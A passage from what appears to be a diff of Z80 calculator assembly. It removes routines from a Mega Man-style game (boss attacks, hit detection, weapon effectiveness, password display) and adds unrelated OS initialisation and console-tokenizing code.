check_en_dist - ld a,(edir) - or a - ld a,(ye) - jr z,i_move_u - inc a - jr i_move_d -i_move_u: - dec a -i_move_d: - ld (ye),a - ret -ti_check: - ld a,(echk) - cp 3 - jr nz,tic_cont - xor a - ld (echk),a -tic_cont: - ld b,46 - ld c,46 - ld a,(bcount) - inc a - ld (bcount),a - cp 50 - ld a,7 - call z,item_init - ld a,(bcount) - cp 100 - ld a,9 - call z,item_init - ld a,(bcount) - cp 100 - ret nz - xor a - ld (bcount),a - ret -ship_check: - ld a,(bcount) - inc a - cp 50 - jr z,ship_laser - ld (bcount),a - ret -ship_laser: - xor a - ld (bcount),a - ld b,1 - call xor_laser - call short_delay - ld a,(ymm) - cp 38 - call c,die - ld b,0 - call xor_laser - ret -boss_move: - call xor_boss - ld a,(boss) - or a - jr z,ti_check - cp 5 - jr z,ship_check - ld a,(bjchk) - or a - jr nz,boss_jump - ld a,(bdir) - or a - ld a,(xb) - jr z,boss_move_l - inc a - cp 76 - jr boss_move_r -boss_move_l: - dec a - cp 56 -boss_move_r: - ld (xb),a - jr z,boss_turn - cp 66 - call z,boss_shoot - ret -boss_turn: - ld a,(bdir) ; reverse dir boss is moving - ld b,a - ld a,1 - sub b - ld (bdir),a - ld a,2 - ld (bjchk),a - ret -boss_jump: - ld a,(bjchk) - cp 1 - ld a,(yb) - jr z,boss_fall - dec a - cp 34 - jr boss_jump_end -boss_fall: - inc a - cp 44 -boss_jump_end: - ld (yb),a - ret nz - ld a,(bjchk) - dec a - ld (bjchk),a - ret -bshoot_sa: - ld a,(xb) - ld (bwx),a - call xor_boss - ret -bshoot_fr: - ld a,(xb) - ld (bwx),a - ret -bshoot_md: - ld a,(xb) - sub 8 - ld (bwx),a - ret -boss_shoot: - ld a,(bwchk) - or a - ret nz - inc a - ld (bwchk),a - ld a,(boss) - cp 3 - jr z,bshoot_md - cp 7 - jr z,bshoot_fr - cp 8 - jr z,bshoot_sa - ld a,58 - ld (bwx),a - ret -bssa_move: - call xor_boss - call check_spr - call xor_char -bssam_loop: - ld a,(bwx) - dec a - ld (bwx),a - call xor_bwpn - call fastcopys - call xor_bwpn - ld a,(bwx) - or a - jr nz,bssam_loop -bssam_loop2: - ld a,(bwx) - inc a - ld (bwx),a - call xor_bwpn - call fastcopys - call xor_bwpn - ld a,(bwx) - cp 88 - jr nz,bssam_loop2 -bssam_loop3: - ld a,(bwx) - dec a - ld (bwx),a - call xor_bwpn - call fastcopys - call xor_bwpn - ld a,(xb) - ld b,a - ld a,(bwx) - cp b - jr nz,bssam_loop3 - xor a - ld (bwchk),a - call check_spr - call xor_char - ld a,(ymm) - ld b,a - ld a,37 - cp b - ret nc - add a,16 - cp b - ret c - ld a,(enp) - or a - sub 4 - jr nc,bssam_nokill - xor a -bssam_nokill: - ld (enp),a - ret -bsfr_move: - call check_spr - call xor_char - call xor_boss - call xor_bwpn - call fastcopys - call xor_char - call xor_boss - call xor_bwpn - call short_delay - xor a - ld (bwchk),a - ld a,(xmm) - ld b,a - ld a,55 - cp b - ret nc - add a,22 - cp b - ret c - ld a,(ymm) - ld b,a - ld a,33 - cp b - ret nc - add a,11 - cp b - ret c - ld a,(enp) - or a - sub 4 - jr nc,bsfrm_nokill - xor a -bsfrm_nokill: - ld (enp),a - ret -bsmd_move: - call short_delay - ld a,(enp) - or a - sub 4 - jr nc,bsmdm_nokill - xor a -bsmdm_nokill: - ld (enp),a - xor a - ld (bwchk),a - ret -boss_shot_move: - call xor_bwpn - ld a,(boss) - cp 8 - jp z,bssa_move - cp 3 - jr z,bsmd_move - cp 7 - jr z,bsfr_move - ld a,(xb) - ld b,a - ld a,(bwx) - cp 2 - jr c,bsm_end - cp b - jr z,bsm_end - ld b,a -bsm_cont: - dec b - dec b - ld a,(boss) - cp 4 - jr nz,bsm_store - dec b -bsm_store: - ld a,b - ld (bwx),a - ret -bsm_end: - xor a ; boss's shot is off the screen - ld (bwchk),a - ret -check_en_dist: ; check distance enemy has moved and turn around if necessary - ld a,(ecount) - inc a - cp 33 - call z,en_turn - ld (ecount),a - ret -en_turn: - ld hl,(enspr) - ld de,8 - ld a,(edir) - or a - jr z,en_turn_r - sbc hl,de - dec a - jr en_turn_l -en_turn_r: - add hl,de - inc a -en_turn_l: - ld (enspr),hl - ld (edir),a - xor a - ret -en_dead: ; enemy is now dead - ld a,3 - ld (echk),a - xor a - ld (ecount),a - ret -next_en: ; check if previous enemy is clear so next enemy can initialize - ld a,(ecount2) - inc a - ld (ecount2),a - cp 96 - ret nz - xor a - ld (echk),a - ret -xor_en: - ld ix,(enspr) - ld b,8 - ld a,(ye) - ld l,a - ld a,(xe) - call isprite - ret -xor_corners: - ld hl,uprlft - ld (smlspr),hl - call xor_8x8 - ld a,(x2) - add a,22 - ld (x2),a - ld hl,uprrt - ld (smlspr),hl - call xor_8x8 - ld a,(y2) - add a,12 - ld (y2),a - ld hl,lwrrt - ld (smlspr),hl - call xor_8x8 - ld a,(x2) - sub 22 - ld (x2),a - ld hl,lwrlft - ld (smlspr),hl - call xor_8x8 - ld a,(y2) - sub 12 - ld (y2),a - ret -xor_8x8: - ld ix,(smlspr) - ld b,8 - ld a,(y2) - ld l,a - ld a,(x2) - call isprite - ret -xor_wpn1: - ld ix,(wpnspr) - ld b,4 - ld a,(wy1) - ld l,a - ld a,(wx1) - call isprite - ret -xor_wpn2: - ld ix,(wpnspr) - ld b,4 - ld a,(wy2) - ld l,a - ld a,(wx2) - call isprite - ret -xor_wpn3: - ld b,4 - ld a,(wy3) - ld l,a - ld a,(wx3) - ld ix,(wpnspr) - call isprite - ret -xor_bwpn: - ld b,4 - ld l,49 - ld a,(bwx) - ld ix,(bwspr) - call isprite - ret -tiny_delay: - ld b,20 - jr del_loop -short_delay: - ld b,50 - jr del_loop -long_delay: - call delay -med_delay: - ld b,100 - jr del_loop -delay: - ld b,200 -del_loop: - halt - halt - djnz del_loop - ret -disp_boss: - ld (bosspic),hl - bcall(_clrlcdfull) - bcall(_grbufclr) - xor a - ld (x2),a - ld a,16 - ld (y2),a - ld hl,bint - ld (smlspr),hl - ld b,12 -draw1: - push bc - call xor_8x8 - ld a,(x2) - add a,8 - ld (x2),a - pop bc - djnz draw1 - ld a,0 - ld (x2),a - ld a,40 - ld (y2),a - ld hl,bint - ld (smlspr),hl - ld b,12 -draw2: - push bc - call xor_8x8 - ld a,(x2) - add a,8 - ld (x2),a - pop bc - djnz draw2 - call xor_boss - call fastcopys - ret -xor_boss: - ld b,12 - ld a,(yb) - ld l,a - ld a,(xb) - ld ix,(bosspic) - call isprite - ret -no_an: - call draw - ret -no_ma: - call draw - ret -no_md: - call draw - ret -no_do: - call draw - ret -no_po: - call draw - ret -no_fr: - call draw - ret -no_sa: - call draw - ret -no_mi: - call draw - ret -you_got: - bcall(_clrlcdfull) - bcall(_grbufclr) - call draw - ld hl,35 - ld (xmm),hl - ld a,50 - ld (ymm),a - ld hl,mmsr - ld (curpic),hl - ld a,43 - ld (wx1),a - ld a,51 - ld (wy1),a - ld a,(boss) - cp 3 - jr z,yg_cont - ld hl,mmwr - ld (curpic),hl - ld a,55 - ld (wx1),a - ld a,55 - ld (wy1),a - ld a,(boss) - ld hl,wpan - cp 1 - jr z,yg_cont - cp 2 - jr z,yg_cont - cp 4 - jr z,yg_cont - cp 6 - jr z,yg_cont - cp 9 - jr z,yg_cont - push af - ld a,35 - ld (wx1),a - ld a,54 - ld (wy1),a - call xor_char - pop af - cp 8 - jr z,yg_cont - ld (wpnspr),hl - call xor_wpn1 - ld a,50 - ld (wy1),a - call xor_wpn1 - ld a,58 - ld (wy1),a -yg_cont: - ld (wpnspr),hl - call xor_wpn1 - call xor_char - call fastcopys - ld de,10*256+35 - ld hl,yougot - call setvputs - ld a,(boss) - cp 1 - jr z,yg_an - jr yg_mi -yg_an: - ld de,20*256+28 - ld hl,ygan - call setvputs - jr yg_loop -yg_mi: - ld de,20*256+28 - ld hl,ygmi - call setvputs -yg_loop: - bcall(_getcsc) - cp kMode - ret z - cp kEnter - jr nz,yg_loop - ret -draw_grid: - bcall(_clrlcdfull) - bcall(_grbufclr) - call draw - ret -pw_text: - ld de,1*256+31 - ld hl,one - call setvputs - ld de,1*256+40 - ld hl,two - call setvputs - ld de,1*256+49 - ld hl,three - call setvputs - ld de,1*256+58 - ld hl,four - call setvputs - ld de,1*256+67 - ld hl,five - call setvputs - ld de,10*256+23 - ld hl,a - call setvputs - ld de,19*256+23 - ld hl,b - call setvputs - ld de,28*256+23 - ld hl,c - call setvputs - ld de,37*256+23 - ld hl,d - call setvputs - ld de,46*256+23 - ld hl,e - call setvputs - ld de,56*256+32 - ld hl,enter - call setvputs - ret -show_pw: - call draw_grid - ld a,(tanks) ; find correct password dot for number of tanks - ld b,1 - or a - jr z,spw_cont - ld b,2 - cp 1 - jr z,spw_cont - ld b,4 - cp 2 - jr z,spw_cont - ld b,8 - cp 3 - jr z,spw_cont - ld b,16 -spw_cont: - ld a,b - ld (tankpw),a - ld hl,pwdot - ld (smlspr),hl - ld a,(lvldone) - bit 0,a - jr z,no_an_dot - ld a,28 - jr an_dot -no_an_dot: - ld a,46 -an_dot: - ld (y2),a - ld a,47 - ld (x2),a - call xor_8x8 - ld a,(lvldone) - bit 1,a - jr z,no_ma_dot - ld a,10 - ld (y2),a - ld a,38 - jr ma_dot -no_ma_dot: - ld a,28 - ld (y2),a - ld a,65 -ma_dot: - ld (x2),a - call xor_8x8 - ld a,(lvldone) - bit 2,a - jr z,no_md_dot - ld a,46 - ld (y2),a - ld a,65 - jr md_dot -no_md_dot: - ld a,10 - ld (y2),a - ld a,56 -md_dot: - ld (x2),a - call xor_8x8 - ld a,(lvldone) - bit 3,a - jr z,no_do_dot - ld a,37 - ld (y2),a - ld a,47 - jr do_dot -no_do_dot: - ld a,46 - ld (y2),a - ld a,38 -do_dot: - ld (x2),a - call xor_8x8 - ld a,(lvldone) - bit 4,a - jr z,no_po_dot - ld a,37 - ld (y2),a - ld a,29 - jr po_dot -no_po_dot: - ld a,19 - ld (y2),a - ld a,65 -po_dot: - ld (x2),a - call xor_8x8 - ld a,(lvldone) - bit 5,a - jr z,no_fr_dot - ld a,56 - jr fr_dot -no_fr_dot: - ld a,29 -fr_dot: - ld (x2),a - ld a,19 - ld (y2),a - call xor_8x8 - ld a,(lvldone) - bit 5,a - jr z,no_se_dot - ld a,46 - ld (y2),a - ld a,29 - jr se_dot -no_se_dot: - ld a,28 - ld (y2),a - ld a,56 -se_dot: - ld (x2),a - call xor_8x8 - ld a,(lvldone) - bit 6,a - jr z,no_sa_dot - ld a,38 - jr sa_dot -no_sa_dot: - ld a,47 -sa_dot: - ld (x2),a - ld a,19 - ld (y2),a - call xor_8x8 - ld a,(lvldone) - bit 7,a - jr z,no_mi_dot - ld a,28 - ld (y2),a - ld a,38 - jr mi_dot -no_mi_dot: - ld a,37 - ld (y2),a - ld a,56 -mi_dot: - ld (x2),a - call xor_8x8 -tank_dot: - ld a,(tankpw) - ld b,a - ld a,10 - ld (y2),a - ld a,47 - ld (x2),a - bit 0,b - jr nz,tank_dot_found - ld a,46 - ld (y2),a - ld a,56 - ld (x2),a - bit 1,b - jr nz,tank_dot_found - ld a,28 - ld (y2),a - ld a,29 - ld (x2),a - bit 2,b - jr nz,tank_dot_found - ld a,10 - ld (y2),a - ld a,65 - ld (x2),a - bit 3,b - jr nz,tank_dot_found - ld a,37 - ld (y2),a - ld a,38 - ld (x2),a -tank_dot_found: - call xor_8x8 - call fastcopys - call pw_text -show_pw_loop: - bcall(_getcsc) - cp kMode - ret z - cp kEnter - jr nz,show_pw_loop - ret -ship_init: - ld a,(bchk) - or a - ret z - call draw - ld a,56 - ld (xb),a - ld a,16 - ld (yb),a - ret -xor_laser: - call draw - call check_spr - call xor_char - call xor_boss - call fastcopys - call draw - call xor_char - call xor_boss - ret -wpn_fill: - ld a,28 - ld (enp),a - ld (enan),a - ld (enma),a - ld (enmd),a - ld (endo),a - ld (ense),a - ld (enpo),a - ld (enfr),a - ld (ensa),a - ld (enmi),a - ld (enwpn),a - ret -draw_nrg: - ld a,(bchk) - or a - call nz,draw_bnrg - ld d,10 - ld e,38 - ld h,10 - ld a,(enp) - ld b,a - ld a,37 - sub b - ld l,a - ld a,1 - call fastline - ld a,(wpn) - or a - ret z - ld d,12 ; draw weapon energy line - ld e,38 - ld h,12 - ld a,(enwpn) - ld b,a - ld a,37 - sub b - ld l,a - ld a,1 - call fastline - ret -draw_bnrg: - ld d,86 - ld e,38 - ld h,86 - ld a,(enb) - ld b,a - ld a,37 - sub b - ld l,a - ld a,1 - call fastline - ret -check_ehitu: - ld a,(echk) - cp 3 - ret z - ld a,(wx1) - ld d,a - ld a,(wy1) - ld e,a - ld a,(wchk1) - ld c,a - or a - call nz,check_white - ld a,c - ld (wchk1),a - ld a,(wx2) - ld d,a - ld a,(wy2) - ld e,a - ld a,(wchk2) - ld c,a - or a - call nz,check_white - ld a,c - ld (wchk2),a - ld a,(wx3) - ld d,a - ld a,(wy3) - ld e,a - ld a,(wchk3) - ld c,a - or a - call nz,check_white - ld a,c - ld (wchk3),a - ld a,(xmm) - ld b,a - ld a,(xe) - sub 7 - cp b - ret nc - add a,14 - cp b - ret c - ld a,(ymm) - ld b,a - ld a,(ye) - sub 11 - cp b - ret nc - add a,18 - cp b - ret c - ld a,(enp) - or a - sub 1 - jr nc,ehitu_nokill - xor a -ehitu_nokill: - ld (enp),a - ld a,1 - ld (hchk),a - ret -check_bhitu: - ld a,(wx1) - ld d,a - ld a,(wy1) - ld e,a - ld a,(wchk1) - ld c,a - or a - call nz,check_whitb - ld a,c - ld (wchk1),a - ld a,(wx2) - ld d,a - ld a,(wy2) - ld e,a - ld a,(wchk2) - ld c,a - or a - call nz,check_whitb - ld a,c - ld (wchk2),a - ld a,(wx3) - ld d,a - ld a,(wy3) - ld e,a - ld a,(wchk3) - ld c,a - or a - call nz,check_whitb - ld a,c - ld (wchk3),a - ld a,(boss) - cp 5 - jr z,check_shitu - ld a,(xmm) - ld b,a - ld a,(xb) - sub 7 - cp b - ret nc - add a,14 - cp b - ret c - ld a,(ymm) - ld b,a - ld a,(yb) - sub 11 - cp b - ret nc - add a,22 - cp b - ret c - ld a,(enp) - or a - sub 7 - jr nc,bhitu_nokill - xor a -bhitu_nokill: - ld (enp),a - ld a,1 - ld (hchk),a - ret -check_shitu: - ld a,(xmm) - ld b,a - ld a,28 - cp b - ret nc - xor a - ld (enp),a - ld a,1 - ld (hchk),a - ret -check_bwhitu: - ld a,(xmm) - ld b,a - ld a,(bwx) - sub 7 - cp b - ret nc - add a,14 - cp b - ret c - ld a,(ymm) - ld b,a - ld a,38 - cp b - ret nc - add a,14 - cp b - ret c - ld a,(enp) - or a - sub 2 - jr nc,bwhitu_nokill - xor a -bwhitu_nokill: - ld (enp),a - ld a,1 - ld (hchk),a - ret -check_white: - ld a,(xe) - ld b,a - ld a,d - sub 7 - cp b - ret nc - add a,14 - cp b - ret c - ld a,(ye) - ld b,a - ld a,e - sub 7 - cp b - ret nc - add a,10 - cp b - ret c - ld c,0 - ld a,(ene) - or a - sub 1 - jr nc,white_nokill - xor a -white_nokill: - ld (ene),a - or a - ret nz - ld a,3 - ld (echk),a - ret -check_whitb: - ld a,(boss) - cp 5 - jr z,check_whits - ld a,(xb) - ld b,a - ld a,d - sub 7 - cp b - ret nc - add a,14 - cp b - ret c - ld a,(yb) - ld b,a - ld a,e - sub 11 - cp b - ret nc - add a,14 - cp b - ret c - ld c,0 - call dam7_or1 - ld a,(enb) - or a - sub 1 - jr nc,whitb_nokill - xor a -whitb_nokill: - ld (enb),a - ret nz - call won - ret -check_whits: - ld b,35 - ld a,d - sub 7 - cp b - ret nc - add a,14 - cp b - ret c - ld b,42 - ld a,e - cp b - ret nc - add a,10 - cp b - ret c - ld c,0 - call dam7_or1 - ld a,(enb) - or a - sub 1 - jr nc,whits_nokill - xor a -whits_nokill: - ld (enb),a - or a - ret nz - call won - ret -dam7_or1: - ld a,(wpn) - or a - ret z - cp 5 - ret z - cp 1 - jr z,an_on_po - cp 2 - jr z,ma_on_do - cp 3 - jr z,md_on_sa - cp 4 - jr z,do_on_fr - cp 6 - jr z,po_on_md - cp 7 - jr z,fr_on_an - cp 8 - jr z,sa_on_mi - cp 9 - jr z,mi_on_ma - ret -an_on_po: - ld a,(boss) - cp 5 - jr z,damage7 - cp 6 - ret nz - jr damage7 -ma_on_do: - ld a,(boss) - or a - jr z,damage7 - cp 4 - ret nz - jr damage7 -md_on_sa: - ld a,(boss) - cp 8 - ret nz - jr damage7 -do_on_fr: - ld a,(boss) - cp 7 - ret nz - jr damage7 -po_on_md: - ld a,(boss) - cp 3 - ret nz - jr damage7 -fr_on_an: - ld a,(boss) - cp 1 - ret nz - jr damage7 -sa_on_mi: - ld a,(boss) - cp 9 - ret nz - jr damage7 -mi_on_ma: - ld a,(boss) - cp 2 - ret nz -damage7: - ld a,(enb) - or a - sub 6 - jr nc,dam7_nokill - call won - xor a -dam7_nokill: - ld (enb),a - ret -thrown_back: - xor a - ld (hchk),a - ld hl,(xmm) - call load_x - or a - ld de,8 - sbc hl,de - push hl - push hl - call CheckHorz - pop hl - call z,CheckHorz2 - pop hl - call z,CheckHorz3 - jr nz,thrown_short - ld a,(xmm) - sub 8 - ld (xmm),a - ret -thrown_short: - ld hl,(xmm) - call load_x - push hl - srl h - rr l - srl h - rr l - srl h - rr l ; divide x by 8 - add hl,hl - add hl,hl - add hl,hl ; multiply x by 8 - push hl - pop de - pop hl - or a - sbc hl,de - push hl - ld hl,(xmm) - pop de - or a - sbc hl,de - ld (xmm),hl - ret -draw_text: -;hl = pointer to text info - ld a,(hl) - ld e,a - inc hl - push de - push hl - bcall(_clrlcdfull) - bcall(_grbufclr) - ld a,1 - pop hl - pop de -draw_txt_loop: - push af - push de - push hl - call centertext - pop hl - pop de - pop af - add a,6 - cp 59 - call nc,reseta_draw - push af - ld a,$00 - ld b,255 - cpir - pop af - dec e - jr nz,draw_txt_loop - call clrwait - ret - -reseta_draw: - push af - push de - push hl - dec e - call nz,clrwait - inc e - pop hl - pop de - pop af - ld a,1 - ret -clrwait: - call wait - bcall(_clrlcdfull) - bcall(_grbufclr) - ret -wait: - bcall(_getcsc) - or a - jr z,wait - ret -quit_force: - -draw: - push af - push bc - push de - ld a,(hl) - ld b,a - inc hl - ld a,(hl) - inc hl -drawloop: -;hl = pointer to line data -;a = draw mode (0=off 1=on 2=xor 3=pattern) -;b = number of lines - push bc - ld c,(hl) - inc hl - ld b,(hl) - inc hl - ld e,(hl) - inc hl - ld d,(hl) - inc hl - push af - push hl - push bc - push de - pop de - pop hl - call fastline - pop hl - pop af - pop bc - djnz drawloop - pop de - pop bc - pop af - ret \ No newline at end of file + LD HL, $8000 + LD DE, $8001 + LD BC, $8000 + LD (HL), 0 + LDIR + LD A, $F0 + LD (OS.CONTRAST), A + LD A, BITMASK(CALC_ON) | BITMASK(APS_ON) + LD (OS.STATUS_FLAGS), A + LD HL, APS_TIME + LD (OS.APS_TIMER), HL + LD HL, USER_RAM + LD (OS.FREE_MEM_PTR), HL + LD HL, $0000 + LD (OS.TEMP_NUM), HL + IN A, (IRQ_STAT_PORT) + AND $08 + JR NZ, $-4 + CALL ISR.FORCE_OFF + CALL ZP.CCLEAR + CALL ZP.CREDRAW + CALL ZP.VBUFDISP + LD HL, INIT.STR_CLEAR + CALL ZP.CPUTS + CALL ZP.CDISP + JP INIT.ALL_GOOD +INIT.LCD_OUT .DB $18, $01, $F0, $40, $05 +INIT.STR_CLEAR .DB "MEM CLEARED", 0 +#INCLUDE "LIBSRC\\STRING\\TOKENIZE.Z80" +.ECHO "\N" +INIT.ALL_GOOD: + EI +ZP.CONSOLE: .EXPORT ZP.CONSOLE + LD HL, ZP.CONSOLE + PUSH HL + LD HL, OS.ARG_PTRS + LD DE, OS.ARG_PTRS + 1 + LD (HL), 0 + LD BC, 127 + LDIR + CALL ZP.CGETS + LD HL, OS.BUFFER + LD D, H + LD E, L + LD IX, OS.ARG_PTRS + CALL ZP.TOKENIZE + LD A, C + LD (OS.ARG_COUNT), A + LD HL, (ARG(0)) + CALL ZP.STRUPR + LDIR \ No newline at end of file